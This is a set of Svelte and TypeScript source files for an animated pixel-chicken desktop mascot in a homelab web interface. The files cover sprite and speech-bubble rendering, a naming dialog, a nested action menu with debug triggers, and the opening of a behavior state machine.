// it draws (FRAME_PX=16, bottom-anchored — see render.ts's drawFrame),
// leaving ~36 screen px of transparent headroom ABOVE the sprite's
// actual head. `ty` is the canvas's top, not the chicken's — anchoring
// the name/bubble to `ty` floated them oddly high above the chicken
// with a big empty gap. `spriteTopY` is where the visible pixels
// actually start, so the name/bubble can hug the head instead.
const FRAME_PX = 16
const spriteTopY = $derived(ty + Math.max(0, (CANVAS_H - FRAME_PX * STAGE_SCALE[stage()]) * SCALE_PX))
const tagCenterX = $derived(tx + (CANVAS_W * SCALE_PX) / 2)
// Name and reaction text share one floating tag above the head instead
// of two stacked elements — it shows the reaction (with the speech-
// bubble-and-tail treatment) when one's active, and falls back to just
// the name (a plain small pill) the rest of the time. Since only one of
// the two ever renders, the anchor only needs to account for whichever
// one is showing, growing upward from a fixed point near the head so it
// doesn't jump around when it switches between the two.
const TAG_GAP = 4
const PILL_HEIGHT = 18
const BUBBLE_HEIGHT = 40 // card + its downward-pointing tail
const tagY = $derived(Math.max(0, spriteTopY - TAG_GAP - (runtime.bubbleText ? BUBBLE_HEIGHT : PILL_HEIGHT)))
const transform = $derived(
`translate3d(${tx}px, ${ty + juiceBob}px, 0) rotate(${juiceTilt}deg) scale(${juiceSx}, ${juiceSy})`
)
// Bubble text marquee: the bubble is capped at one line (no wrap) and a
// fixed max width, so text longer than that would normally need
// ellipsis — but truncating a reaction line silently drops information
// (e.g. which app it's reacting to). Instead, when the text overflows
// the bubble's width, it slides left/right like a teleprompter so the
// whole line eventually becomes readable; short text that already fits
// just sits still, centered.
let bubbleTrackEl = $state<HTMLDivElement | null>(null)
let bubbleTextEl = $state<HTMLSpanElement | null>(null)
let marqueeDistance = $state(0)
let marqueeDuration = $state(0)
const MARQUEE_PX_PER_S = 45 // travel speed while sliding (excludes the hold time at each end)
// ── Speech-bubble feel ───────────────────────────────────────────────
// Typewriter reveal (advanced in tick), pop-in spring entrance, a
// blinking block cursor while typing, and per-reaction tone colors.
// Pure presentation — the underlying state is still just
// bubbleText/bubbleUntil.
const TYPE_CHAR_MS = 28 // per-character typewriter pace…
const TYPE_MAX_MS = 1400 // …but long lines speed up so typing always fits the display window
let typedLen = $state(0)
$effect(() => {
// Restart the typewriter whenever the line changes. Svelte flushes
// effects before paint, so a new line never flashes fully-typed for
// a frame.
void runtime.bubbleText
typedLen = 0
})
// Code-point count/slicing: emoji are multi-unit UTF-16 ('❤️' is 2),
// and slicing mid-surrogate renders a broken glyph for a frame.
const bubbleLen = $derived(runtime.bubbleText ? Array.from(runtime.bubbleText).length : 0)
const typingDone = $derived(!runtime.bubbleText || typedLen >= bubbleLen)
const typedText = $derived(
runtime.bubbleText
? Array.from(runtime.bubbleText)
.slice(0, Math.ceil(typedLen))
.join('')
: null
)
// Tiny lines (a lone emoji) get emphasized with a bigger size.
const isShortBubble = $derived(bubbleLen > 0 && bubbleLen <= 2)
// Tone: color the bubble by the reaction currently playing (the field
// is reactAnim — 'react-alarm' → 'alarm'). Only while the react
// behavior is active, so a stale reactAnim doesn't tint later bubbles
// (icon-investigate, idle chatter).
type BubbleTone = 'alarm' | 'eureka' | 'think' | 'happy'
const bubbleTone = $derived<BubbleTone | null>(
runtime.behavior === 'react' && runtime.reactAnim?.startsWith('react-')
? (runtime.reactAnim.slice(6) as BubbleTone)
: null
)
// card = full treatment (border + text + shadow tint); border = just
// the border color, for the little tail diamond.
const TONE: Record<BubbleTone, { card: string; border: string }> = {
alarm: { card: 'border-red-400/70 text-red-500 dark:text-red-300 shadow-red-500/25', border: 'border-red-400/70' },
eureka: { card: 'border-amber-400/70 text-amber-600 dark:text-amber-300 shadow-amber-500/25', border: 'border-amber-400/70' },
think: { card: 'border-sky-400/60 text-sky-600 dark:text-sky-300', border: 'border-sky-400/60' },
happy: { card: 'border-rose-400/70 text-rose-500 dark:text-rose-300 shadow-rose-500/25', border: 'border-rose-400/70' }
}
$effect(() => {
// Re-measure whenever the visible bubble text changes, and again when
// the typewriter finishes — while typing, the marquee stays off (the
// partially-typed line would measure wrong and start sliding
// mid-reveal).
void runtime.bubbleText
void typingDone
const track = bubbleTrackEl
const textEl = bubbleTextEl
if (!track || !textEl || !typingDone) {
marqueeDistance = 0
marqueeDuration = 0
return
}
// Measure after layout settles (the span's content just changed).
const raf = requestAnimationFrame(() => {
const overflow = textEl.scrollWidth - track.clientWidth
if (overflow > 2) {
marqueeDistance = -overflow
marqueeDuration = (overflow / MARQUEE_PX_PER_S) * 2 + 1.6
// Callers set bubbleUntil from the reaction/action's own short
// duration (e.g. 1.5-2.2s), which is usually plenty for a static
// line but would cut a slow scroll off mid-glide. Stretch the
// display time to cover one full out-and-back cycle so overflowing
// text always finishes scrolling into view before the bubble
// disappears — otherwise the point of scrolling instead of
// ellipsizing (showing the whole line) would be defeated.
const minUntil = performance.now() + marqueeDuration * 1000
if (runtime.bubbleUntil < minUntil) runtime.bubbleUntil = minUntil
} else {
marqueeDistance = 0
marqueeDuration = 0
}
})
return () => cancelAnimationFrame(raf)
})
</script>
<svelte:window onpointerup={onWindowPointerEnd} onpointercancel={onWindowPointerEnd} />
<canvas
bind:this={canvas}
class="pointer-events-auto absolute left-0 top-0 select-none {dragging ? 'cursor-grabbing' : 'cursor-grab'}"
style="width: {CANVAS_W * SCALE_PX}px; height: {CANVAS_H * SCALE_PX}px; transform: {transform}; image-rendering: pixelated; will-change: transform; transform-origin: bottom center;"
onpointerdown={onPointerDown}
onpointermove={onPointerMove}
onpointerup={onPointerUp}
onpointercancel={onPointerCancel}
oncontextmenu={handleContextMenu}
title={model.name ?? 'Cluck'}
></canvas>
{#if runtime.bubbleText || model.name}
<div
class="pointer-events-none absolute left-0 top-0 select-none"
style="transform: translate3d({tagCenterX}px, {tagY}px, 0) translateX(-50%); will-change: transform;"
>
{#if runtime.bubbleText}
{#key runtime.bubbleText}
<div
class="bubble-pop relative max-w-40 rounded-xl border bg-popover px-2.5 py-1 leading-[1.25] shadow-md {bubbleTone ? TONE[bubbleTone].card : 'text-popover-foreground'} {bubbleTone === 'alarm' ? 'bubble-shake' : ''} {isShortBubble ? 'text-base' : 'text-sm'}"
>
<div
bind:this={bubbleTrackEl}
class="overflow-hidden {marqueeDistance === 0 ? 'text-center' : 'text-left'}"
>
<span
bind:this={bubbleTextEl}
class="inline-block whitespace-nowrap {marqueeDistance !== 0 ? 'bubble-marquee' : ''}"
style={marqueeDistance !== 0
? `--marquee-distance: ${marqueeDistance}px; --marquee-duration: ${marqueeDuration}s;`
: ''}
>{typedText}{#if !typingDone}<span class="bubble-cursor"></span>{/if}</span>
</div>
<div class="absolute -bottom-[5px] left-1/2 h-2.5 w-2.5 -translate-x-1/2 rotate-45 border-r border-b bg-popover {bubbleTone ? TONE[bubbleTone].border : ''}"></div>
</div>
{/key}
{:else}
<div class="whitespace-nowrap rounded-full bg-popover/40 px-1.5 py-0.5 text-[10px] font-normal text-popover-foreground/75">
{model.name}
</div>
{/if}
</div>
{/if}
<style>
/* Slides overflowing bubble text into view and back, holding briefly at
each end (like a teleprompter) instead of ellipsizing. Only applied
when the text is wider than the bubble (see the marqueeDistance
effect above) — --marquee-distance is the negative px offset needed
to reveal the clipped tail. */
.bubble-marquee {
animation: bubble-marquee var(--marquee-duration, 4s) ease-in-out infinite;
}
@keyframes bubble-marquee {
0%,
12% {
transform: translateX(0);
}
50%,
62% {
transform: translateX(var(--marquee-distance, 0px));
}
100% {
transform: translateX(0);
}
}
/* Pop-in entrance: fast overshoot-and-settle spring, pivoting at the
tail (bottom center) so the bubble grows out of the mascot's head.
Replays on every line change via the {#key} block in the template. */
.bubble-pop {
animation: bubble-pop 340ms cubic-bezier(0.34, 1.56, 0.64, 1) both;
transform-origin: bottom center;
}
@keyframes bubble-pop {
0% {
transform: scale(0.3);
opacity: 0;
}
55% {
transform: scale(1.1);
opacity: 1;
}
75% {
transform: scale(0.97);
}
100% {
transform: scale(1);
}
}
/* Alarm shake: runs right after the pop finishes (the two animations
stack on the same element — the later shake wins on transform while
it runs, then the pop's settled scale(1) fill takes back over). */
.bubble-shake {
animation:
bubble-pop 340ms cubic-bezier(0.34, 1.56, 0.64, 1) both,
bubble-shake 380ms 360ms ease-in-out;
}
@keyframes bubble-shake {
0%,
100% {
transform: translateX(0);
}
20% {
transform: translateX(-3px);
}
40% {
transform: translateX(3px);
}
60% {
transform: translateX(-2px);
}
80% {
transform: translateX(2px);
}
}
/* Blinking block cursor shown while the typewriter is mid-line. */
.bubble-cursor {
display: inline-block;
width: 2px;
height: 1em;
margin-left: 1px;
vertical-align: text-bottom;
background: currentColor;
animation: bubble-caret 0.75s steps(1) infinite;
}
@keyframes bubble-caret {
50% {
opacity: 0;
}
}
</style>

View File

@@ -0,0 +1,245 @@
<script lang="ts">
// MascotLayer: a pointer-events-none absolute inset-0 overlay at z-45
// (above WindowLayer's z-40, below the desktop context menu's z-50
// and the radial menu's z-[60]). Hosts the Mascot sprite, the
// RadialMenu, the NameDialog, and the speech/name bubble. Owns the
// MascotRuntime and the surface bounds; attaches the stimulus bus on
// mount so the mascot reacts to chat/activity/events.
//
// Insertion point: rendered inside Desktop.svelte's surface <div>
// (the `relative min-h-0 flex-1 overflow-hidden` element), after
// <WindowLayer />, so its `absolute inset-0` shares the surface's
// coordinate space and its ground line lands at the surface's bottom
// edge (= the taskbar's top edge).
import { onMount } from 'svelte'
import Mascot from './Mascot.svelte'
import RadialMenu from './RadialMenu.svelte'
import NameDialog from './NameDialog.svelte'
import { attachStimuli } from './stimuli'
import {
initMascotState,
getModel,
setName as modelSetName,
forceHatch as modelForceHatch,
setStage,
resetModel
} from '$lib/mascot/state.svelte'
import { forceBehavior } from '$lib/mascot/behavior'
import type { MascotRuntime, AnimName, BehaviorId, MascotStage } from '$lib/mascot/types'
let host = $state<HTMLDivElement | null>(null)
// The runtime is created here (fresh per mount) and seeded from the
// persisted model's lastPos + the live surface bounds. It's a `$state`
// so mutations to runtime.x/y/behavior/etc. from the FSM are tracked
// by the `$derived` position expressions in Mascot.svelte — a plain
// `let` would update internally but never re-render the canvas.
let runtime: MascotRuntime = $state({
x: 100,
y: 100,
vx: 0,
vy: 0,
facing: 1,
behavior: 'egg',
behaviorUntil: Number.POSITIVE_INFINITY,
anim: 'egg-idle',
animStart: 0,
reactAnim: null,
bounds: { w: 800, h: 600 },
groundY: 600,
bubbleText: null,
bubbleUntil: 0,
blinkUntil: 0,
fallPhaseAt: 0,
flapCycleMs: 0,
squashAt: 0,
impactVy: 0,
bounceCount: 0,
investigateOnLand: false,
busyTalking: false
})
let menuPos = $state<{ x: number; y: number } | null>(null)
let nameDialogOpen = $state(false)
let nameDialogMode = $state<'hatch' | 'rename'>('hatch')
const model = $derived(getModel())
function openMenu(x: number, y: number) {
menuPos = { x, y }
}
function closeMenu() {
menuPos = null
}
function requestRename() {
nameDialogMode = 'rename'
nameDialogOpen = true
}
function forceHatch() {
const wasUnnamed = getModel().name === null
modelForceHatch()
if (runtime.behavior === 'egg') forceBehavior(runtime, 'idle')
// If the egg was unnamed (e.g. debug force-hatch before the name
// dialog was submitted), open the name dialog so the chick gets a
// name — matching the normal hatch-on-naming flow.
if (wasUnnamed) {
nameDialogMode = 'hatch'
nameDialogOpen = true
}
}
function forceStageFn(s: MascotStage) {
setStage(s)
forceBehavior(runtime, 'idle')
}
function reset() {
resetModel()
forceBehavior(runtime, 'egg')
}
function refresh() {
// Trigger reactivity: the menu reads model visibility predicates on
// each render; touching a $state value re-runs the menu's derived
// filter. menuPos re-assignment is a no-op if already set.
menuPos = menuPos ? { ...menuPos } : null
}
function onPet() {
// Plain-click pet: briefly show a happy bubble. The actual model.pet()
// call already happened in Mascot.svelte.
runtime.bubbleText = '❤️'
runtime.bubbleUntil = performance.now() + 1500
}
function onNameSubmit(name: string) {
modelSetName(name)
if (nameDialogMode === 'hatch') {
// Naming the egg is what hatches it — no timed incubation.
forceHatch()
}
nameDialogOpen = false
}
// Stage transitions are driven by the name-dialog submit handler
// (egg → chick on first naming) and the debug menu (force hatch /
// force stage), not by observing model.stage here. No $effect needed.
onMount(() => {
initMascotState()
// Seed runtime from persisted lastPos once we know the surface size.
const rect = host?.getBoundingClientRect()
if (rect) {
runtime.bounds = { w: rect.width, h: rect.height }
runtime.groundY = rect.height
const lp = getModel().lastPos
runtime.x = lp ? Math.max(24, Math.min(rect.width - 24, lp.x)) : rect.width / 2
runtime.y = rect.height // ground
runtime.anim = getModel().stage === 'egg' ? 'egg-idle' : 'idle'
runtime.behavior = getModel().stage === 'egg' ? 'egg' : 'idle'
}
// First-run: a fresh egg with no name prompts for naming, which
// hatches it. Returning users with a named mascot skip this.
if (getModel().stage === 'egg' && getModel().name === null) {
nameDialogMode = 'hatch'
nameDialogOpen = true
}
// Attach the stimulus bus (chat/activity/events -> reactions + the
// continuous "busy" state). Both are gated to non-egg stages: the egg
// isn't "alive" yet (no name, no hatched chick to react), so stimulus
// events are silently dropped until the egg hatches. This keeps the
// egg calm during the naming dialog rather than playing alarm
// animations behind it.
const detach = attachStimuli(
(reaction, bubbleOverride) => {
if (getModel().stage === 'egg') return
// Dragging always wins — never let a reaction interrupt an active
// drag (previously it could visually flash a reaction animation
// mid-drag, even though position tracking stayed correct; see the
// physics audit's Finding 5). Sleep is only interrupted by
// reactions that explicitly opt in via interruptsSleep.
if (runtime.behavior === 'dragged') return
if (runtime.behavior === 'sleep' && !reaction.interruptsSleep) return
// Reaction dispatch: respect priority + cooldown (handled in stimuli.ts);
// here we just force the behavior.
const anim = reaction.anim as AnimName
const id: BehaviorId = 'react'
runtime.reactAnim = anim
forceBehavior(runtime, id, { anim, durationMs: reaction.durationMs })
const bubble = bubbleOverride ?? reaction.bubble
if (bubble) {
runtime.bubbleText = bubble
runtime.bubbleUntil = performance.now() + reaction.durationMs
}
if (reaction.effect) reaction.effect()
},
(phase) => {
// Continuous engagement with the focused task's active turn — see
// stimuli.ts. Not a timed pulse: stays in `busy` until stimuli.ts
// reports the turn ended (phase === null), same drag/sleep gating
// as reactions above. Also never preempts an in-flight reaction
// pulse (eureka/alarmed/happy) — those are short and should play
// out; the next chat update re-affirms busy shortly after (the
// underlying store keeps emitting throughout an active turn), so
// this self-heals within a token or two rather than needing an
// explicit "resume busy after this pulse" handoff.
if (getModel().stage === 'egg') return
if (runtime.behavior === 'dragged' || runtime.behavior === 'react') return
if (phase === null) {
if (runtime.behavior === 'busy') forceBehavior(runtime, 'idle')
return
}
if (runtime.behavior === 'sleep') return
runtime.busyTalking = phase === 'talking'
if (runtime.behavior !== 'busy') forceBehavior(runtime, 'busy')
}
)
return () => detach()
})
// Action context handed to RadialMenu leaf handlers.
const actionCtx = $derived({
model,
runtime,
force: (id: BehaviorId, opts?: { anim?: AnimName; durationMs?: number }) =>
forceBehavior(runtime, id, opts),
requestRename,
forceHatch,
forceStage: forceStageFn,
reset,
refresh
})
</script>
<div bind:this={host} class="pointer-events-none absolute inset-0 z-[45]">
<Mascot
bind:runtime
onContextMenu={openMenu}
onPet={onPet}
onRequestName={() => {
nameDialogMode = 'hatch'
nameDialogOpen = true
}}
/>
</div>
{#if menuPos}
<RadialMenu
pos={menuPos}
ctx={actionCtx}
onDismiss={closeMenu}
/>
{/if}
{#if nameDialogOpen}
<NameDialog
mode={nameDialogMode}
initial={model.name ?? ''}
onSubmit={onNameSubmit}
onCancel={() => (nameDialogOpen = false)}
/>
{/if}

View File

@@ -0,0 +1,98 @@
<script lang="ts">
// NameDialog: a tiny centered modal that prompts for the mascot's name,
// opened either at hatch time (mode='hatch') or via the Rename menu
// action (mode='rename'). Renders at z-[60] so it sits above the
// mascot layer and the radial menu. Self-contained — doesn't use the
// bits-ui Dialog to keep the dependency surface small and to control
// z-index precisely relative to the desktop's own layers.
import { onMount, untrack } from 'svelte'
let {
mode = 'hatch',
initial = '',
onSubmit,
onCancel
}: {
mode?: 'hatch' | 'rename'
initial?: string
onSubmit: (name: string) => void
onCancel: () => void
} = $props()
// Seed the input once from the prop — `untrack` because we want the
// INITIAL value, not a reactive binding (typing into the input updates
// `value`, not `initial`).
let value = $state(untrack(() => initial))
onMount(() => {
// Autofocus the input on mount.
const el = document.getElementById('mascot-name-input') as HTMLInputElement | null
el?.focus()
el?.select()
})
function submit(e: Event) {
e.preventDefault()
const trimmed = value.trim()
if (trimmed) onSubmit(trimmed)
}
function onWindowKeydown(e: KeyboardEvent) {
if (e.key === 'Escape') {
e.preventDefault()
onCancel()
}
}
const title = $derived(mode === 'hatch' ? 'Your chick hatched!' : 'Rename your chicken')
const placeholder = $derived(mode === 'hatch' ? 'Name your chick…' : 'New name…')
</script>
<svelte:window onkeydown={onWindowKeydown} />
<!-- Overlay: clicks outside the card cancel. Escape is handled via the window keydown above. -->
<div
class="fixed inset-0 z-[60] flex items-center justify-center bg-foreground/30 backdrop-blur-[1px]"
role="presentation"
onclick={(e) => {
if (e.currentTarget === e.target) onCancel()
}}
>
<form
class="w-80 rounded-xl border bg-popover p-5 text-popover-foreground shadow-xl ring-1 ring-foreground/10"
onsubmit={submit}
>
<h2 class="mb-1 text-base font-semibold">{title}</h2>
<p class="mb-3 text-xs text-popover-foreground/70">
{mode === 'hatch'
? 'Give it a name. It will follow your homelab activity from here on.'
: 'Pick a new name.'}
</p>
<input
id="mascot-name-input"
type="text"
bind:value
{placeholder}
maxlength="24"
class="w-full rounded-md border bg-background px-3 py-2 text-sm outline-none focus-visible:ring-2 focus-visible:ring-ring"
/>
<div class="mt-4 flex justify-end gap-2">
{#if mode === 'rename'}
<button
type="button"
class="rounded-md px-3 py-1.5 text-sm text-popover-foreground/80 hover:bg-accent"
onclick={onCancel}
>
Cancel
</button>
{/if}
<button
type="submit"
class="rounded-md bg-primary px-4 py-1.5 text-sm font-medium text-primary-foreground hover:bg-primary/90"
>
{mode === 'hatch' ? 'Hatch!' : 'Save'}
</button>
</div>
</form>
</div>

View File

@@ -0,0 +1,157 @@
<script lang="ts" module>
// RadialMenu (now a rounded-button column menu): opened on right-click
// over the mascot. Renders the MASCOT_ACTIONS tree as a stack of
// rounded buttons with full text labels; selecting a node with
// `children` swaps the column to those children + a "Back" button at
// the top (tracked via a local breadcrumb stack). Leaf nodes call
// `action(ctx)` and dismiss.
//
// z-[60] — must beat the desktop's own right-click menu (z-50) and
// sit above the mascot layer (z-[45]). Dismissal mirrors the desktop
// menu: a <svelte:window onclick> closes it, Escape pops one level
// then closes on the next press, and the menu's own clicks
// stopPropagation so they don't bubble to the close handler.
import { MASCOT_ACTIONS } from './actions'
import type { MascotActionCtx, RadialAction } from './types'
import ChevronLeftIcon from '@lucide/svelte/icons/chevron-left'
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
</script>
<script lang="ts">
let {
pos,
ctx,
onDismiss
}: {
pos: { x: number; y: number }
ctx: MascotActionCtx
onDismiss: () => void
} = $props()
// Breadcrumb stack: each entry is the list of actions shown at that
// level. The top of the stack is the current column.
let stack = $state<RadialAction[][]>([MASCOT_ACTIONS])
let depth = $derived(stack.length)
let current = $derived(stack[depth - 1] ?? [])
// Clamp the anchor to the viewport, then decide which side to grow
// toward based on anchor position alone (no measure-then-flip — that
// paints off-screen first). When the anchor is in the bottom half,
// the menu grows upward (bottom edge aligns with anchor.y); same for
// the right edge when in the right half. The chicken lives on the
// desktop surface's bottom edge, so this almost always flips up.
const anchor = $derived.by(() => {
const margin = 8
const vw = typeof window !== 'undefined' ? window.innerWidth : 1024
const vh = typeof window !== 'undefined' ? window.innerHeight : 768
const x = Math.max(margin, Math.min(vw - margin, pos.x))
const y = Math.max(margin, Math.min(vh - margin, pos.y))
return {
x,
y,
growUp: y > vh / 2,
growLeft: x > vw / 2
}
})
let host = $state<HTMLDivElement | null>(null)
const visibleItems = $derived(current.filter((a) => !a.visible || a.visible(ctx.model)))
function selectItem(a: RadialAction, ev: MouseEvent) {
ev.stopPropagation()
if (a.children && a.children.length > 0) {
stack = [...stack, a.children]
return
}
if (a.action) {
a.action(ctx)
}
onDismiss()
}
function back(ev: MouseEvent) {
ev.stopPropagation()
if (stack.length > 1) {
stack = stack.slice(0, -1)
} else {
onDismiss()
}
}
function onWindowClick() {
onDismiss()
}
function onWindowKeydown(e: KeyboardEvent) {
if (e.key === 'Escape') {
e.preventDefault()
if (stack.length > 1) {
stack = stack.slice(0, -1)
} else {
onDismiss()
}
}
}
// Reset the stack when the menu is (re)opened with a new pos.
$effect(() => {
void pos
stack = [MASCOT_ACTIONS]
})
</script>
<svelte:window onclick={onWindowClick} onkeydown={onWindowKeydown} />
<div
bind:this={host}
class="fixed z-[60] min-w-56 max-w-72 rounded-xl border bg-popover p-1.5 text-sm text-popover-foreground shadow-lg ring-1 ring-foreground/10"
style="left: {anchor.growLeft ? 'auto' : `${anchor.x}px`}; right: {anchor.growLeft ? `${window.innerWidth - anchor.x}px` : 'auto'}; top: {anchor.growUp ? 'auto' : `${anchor.y}px`}; bottom: {anchor.growUp ? `${window.innerHeight - anchor.y}px` : 'auto'};"
role="menu"
tabindex="-1"
aria-label="Mascot actions"
onclick={(e) => e.stopPropagation()}
onkeydown={(e) => {
if (e.key === 'Escape') {
e.preventDefault()
if (stack.length > 1) stack = stack.slice(0, -1)
else onDismiss()
}
}}
>
{#if depth > 1}
<button
type="button"
class="mb-1 flex w-full items-center gap-2 rounded-md px-2 py-1.5 text-left text-popover-foreground/70 hover:bg-accent hover:text-accent-foreground"
onclick={back}
>
<ChevronLeftIcon class="size-4" /> Back
</button>
<div class="my-1 h-px bg-border"></div>
{/if}
{#each visibleItems as a (a.id)}
<button
type="button"
class="flex w-full items-start justify-between gap-2 rounded-md px-2 py-1.5 text-left hover:bg-accent hover:text-accent-foreground"
onclick={(ev) => selectItem(a, ev)}
oncontextmenu={(ev) => ev.preventDefault()}
>
<span class="flex min-w-0 flex-1 items-start gap-2">
{#if a.icon}
<a.icon class="mt-0.5 size-4 shrink-0" />
{/if}
<span class="flex min-w-0 flex-col">
<span class="truncate">{a.label}</span>
{#if a.description}
<span class="text-[11px] leading-snug font-normal text-popover-foreground/60">{a.description}</span>
{/if}
</span>
</span>
{#if a.children && a.children.length > 0}
<ChevronRightIcon class="mt-0.5 size-4 shrink-0 opacity-60" />
{/if}
</button>
{/each}
</div>

View File

@@ -0,0 +1,263 @@
// Radial menu action tree. To add a new menu action:
// - Add a `RadialAction` node to MASCOT_ACTIONS below (or call
// `registerMascotAction(a, parentId)` at runtime to insert under an
// existing node).
// - The leaf `action(ctx)` mutates the model/runtime via ctx; nested
// `children` render as a sub-ring.
// - `visible(model)` gates visibility (e.g. "Rename" only once hatched).
// RadialMenu.svelte renders whatever tree it's given, including
// arbitrary nesting depth — no engine change is needed for a new node.
import type { MascotActionCtx, RadialAction } from './types'
import { REACTIONS } from './stimuli'
// v1 tree: Interact [Pet, Feed → [Seeds, Worm]], Care [Sleep, Wake],
// Identity [Rename], Debug [Lifecycle → [...], Reactions → [...], Force
// fall, Reset]. The Pet action is the same as a plain click — included in
// the menu for discoverability.
//
// Every Debug leaf carries a `description` naming the real, non-debug
// trigger it's simulating (rendered as a muted second line by
// RadialMenu.svelte) — the point of a debug menu is to let you fire
// something without waiting for the real condition, but that's only
// useful for testing if you also know what condition it's standing in for.
/** Play a REACTIONS entry (see stimuli.ts) exactly as the real stimulus bus would — same anim/bubble/duration/effect — without needing to fake the chat/activity/event stream that normally triggers it. */
function triggerReaction(ctx: MascotActionCtx, id: keyof typeof REACTIONS): void {
const r = REACTIONS[id]
ctx.runtime.bubbleText = r.bubble ?? null
ctx.runtime.bubbleUntil = performance.now() + r.durationMs
ctx.force('react', { anim: r.anim, durationMs: r.durationMs })
r.effect?.()
}
/** Show a speech-bubble line (text and/or emoji — see Mascot.svelte's template) above the mascot for `ms`. */
function showBubble(ctx: MascotActionCtx, text: string, ms: number): void {
ctx.runtime.bubbleText = text
ctx.runtime.bubbleUntil = performance.now() + ms
}
export const MASCOT_ACTIONS: RadialAction[] = [
{
id: 'interact',
label: 'Interact',
children: [
{
id: 'pet',
label: 'Pet',
action: (ctx) => {
showBubble(ctx, '❤️', 1500)
ctx.force('react', { anim: 'react-happy', durationMs: 1500 })
ctx.refresh()
}
},
{
id: 'feed',
label: 'Feed',
children: [
{
id: 'feed-seeds',
label: 'Seeds',
action: (ctx) => {
// Feeding: small happiness + xp boost.
ctx.model.happiness = Math.min(100, ctx.model.happiness + 8)
showBubble(ctx, '🌾 Yum!', 1800)
// Force the dedicated 'peck' behavior, not 'idle' with an anim
// override — stepMascot() re-derives the anim from the active
// behavior's own anim() every tick (except for 'react', which
// has a special-cased override via reactAnim), so an anim
// override on any other behavior gets silently clobbered
// within one frame. 'peck' always resolves to the peck anim.
ctx.force('peck', { durationMs: 1800 })
ctx.refresh()
}
},
{
id: 'feed-worm',
label: 'Worm',
action: (ctx) => {
// Worm: bigger boost.
ctx.model.happiness = Math.min(100, ctx.model.happiness + 16)
showBubble(ctx, '🐛 Yum!', 1800)
// Force the dedicated 'peck' behavior, not 'idle' with an anim
// override — stepMascot() re-derives the anim from the active
// behavior's own anim() every tick (except for 'react', which
// has a special-cased override via reactAnim), so an anim
// override on any other behavior gets silently clobbered
// within one frame. 'peck' always resolves to the peck anim.
ctx.force('peck', { durationMs: 1800 })
ctx.refresh()
}
}
]
}
]
},
{
id: 'care',
label: 'Care',
children: [
{
id: 'sleep',
label: 'Sleep',
visible: (m) => m.stage !== 'egg',
action: (ctx) => {
showBubble(ctx, '😴 Zzz…', 2000)
ctx.force('sleep', { durationMs: 8000 })
ctx.refresh()
}
},
{
id: 'wake',
label: 'Wake',
visible: () => true, // visible always; only useful when asleep but harmless otherwise
action: (ctx) => {
ctx.force('idle')
ctx.refresh()
}
}
]
},
{
id: 'identity',
label: 'Identity',
children: [
{
id: 'rename',
label: 'Rename',
visible: (m) => m.stage !== 'egg',
action: (ctx) => {
ctx.requestRename()
ctx.refresh()
}
}
]
},
{
id: 'debug',
label: 'Debug',
children: [
{
id: 'debug-lifecycle',
label: 'Lifecycle',
children: [
{
id: 'force-hatch',
label: 'Force hatch',
description: 'Normally fires the instant you submit a name for a fresh egg — hatching is tied to naming, not a timer.',
visible: (m) => m.stage === 'egg',
action: (ctx) => {
ctx.forceHatch()
ctx.refresh()
}
},
{
id: 'force-chick',
label: 'Force chick',
description: 'Sets the stage directly. Normally happens automatically the moment a freshly-named egg hatches.',
visible: (m) => m.stage !== 'chick',
action: (ctx) => {
ctx.forceStage('chick')
ctx.force('idle')
ctx.refresh()
}
},
{
id: 'force-adult',
label: 'Force adult',
description: 'Sets the stage directly. Normally happens once xp reaches 200 — earned by petting, feeding, and reactions like Eureka.',
visible: (m) => m.stage !== 'adult',
action: (ctx) => {
ctx.forceStage('adult')
ctx.force('idle')
ctx.refresh()
}
}
]
},
{
id: 'debug-reactions',
label: 'Reactions',
visible: (m) => m.stage !== 'egg', // reactions are suppressed while an egg — see MascotLayer's attachStimuli callback
children: [
{
id: 'trigger-thinking',
label: 'Trigger: Thinking',
description: 'Normally a continuous state (not a timed pulse like this button): the focused task window\'s session starts streaming a reply, before any text has arrived yet. Switches to the "talk" sprite the moment text starts appearing.',
action: (ctx) => {
triggerReaction(ctx, 'thinking')
ctx.refresh()
}
},
{
id: 'trigger-eureka',
label: 'Trigger: Eureka',
description: 'Normally fires when the focused task window records new knowledge (an "upsert_knowledge" tool result) — the real bubble shows the knowledge\'s own title. Grants +5 xp.',
action: (ctx) => {
triggerReaction(ctx, 'eureka')
ctx.refresh()
}
},
{
id: 'trigger-alarmed',
label: 'Trigger: Alarmed',
description: 'Normally fires when the focused task window raises a new operator question (permission needed to proceed). The only reaction that wakes the mascot from sleep.',
action: (ctx) => {
triggerReaction(ctx, 'alarmed')
ctx.refresh()
}
},
{
id: 'trigger-happy',
label: 'Trigger: Happy',
description: "Normally fires when the focused task window's task completes successfully — the real bubble shows the task's own summary.",
action: (ctx) => {
triggerReaction(ctx, 'happy')
ctx.refresh()
}
}
]
},
{
id: 'force-fall',
label: 'Force fall',
description: 'Normally starts when you drop the mascot mid-air, it walks off the edge of a window, or the surface beneath it disappears (a window closes or moves away). Lifts it up first so theres room to actually fall.',
visible: (m) => m.stage !== 'egg',
action: (ctx) => {
ctx.runtime.y = Math.max(0, ctx.runtime.y - 160)
ctx.force('falling')
ctx.refresh()
}
},
{
id: 'reset',
label: 'Reset',
description: 'No natural trigger — clears all mascot state (stage, name, stats, position) back to a fresh, unnamed egg.',
action: (ctx) => {
ctx.reset()
ctx.refresh()
}
}
]
}
]
/** Insert an action at runtime, optionally nested under a parent id. Root insertion if parentId is undefined. */
export function registerMascotAction(a: RadialAction, parentId?: string): void {
if (!parentId) {
MASCOT_ACTIONS.push(a)
return
}
function findAndInsert(nodes: RadialAction[]): boolean {
for (const n of nodes) {
if (n.id === parentId) {
n.children = n.children ?? []
n.children.push(a)
return true
}
if (n.children && findAndInsert(n.children)) return true
}
return false
}
findAndInsert(MASCOT_ACTIONS)
}

View File

@@ -0,0 +1,640 @@
// Behavior engine: a finite state machine that drives the mascot's
// autonomous motion + animation. To add a behavior:
// 1. Add its id to `BehaviorId` in types.ts.
// 2. Add a `BehaviorDef` entry to BEHAVIORS below.
// 3. (Optional) Give it a `weight` to make it idle-selectable.
// `stepMascot()` and the weighted-random idle selector consume
// BEHAVIORS generically — no engine change is needed for a new behavior.
//
// Behaviors split into two groups:
// - Self-selecting (idle/wander/peck/sleep): pickable by the weighted
// random idle selector when the current behavior expires.
// - Forced (dragged/falling/react/land): entered only via forceBehavior()
// from the pointer code, gravity logic, or the stimulus bus.
//
// Physics: gravity + ground. GROUND_Y = bounds.h (the surface's bottom
// edge, == the taskbar's top edge). When above ground and not dragged,
// the mascot falls with a slow flutter terminal velocity — but the fall
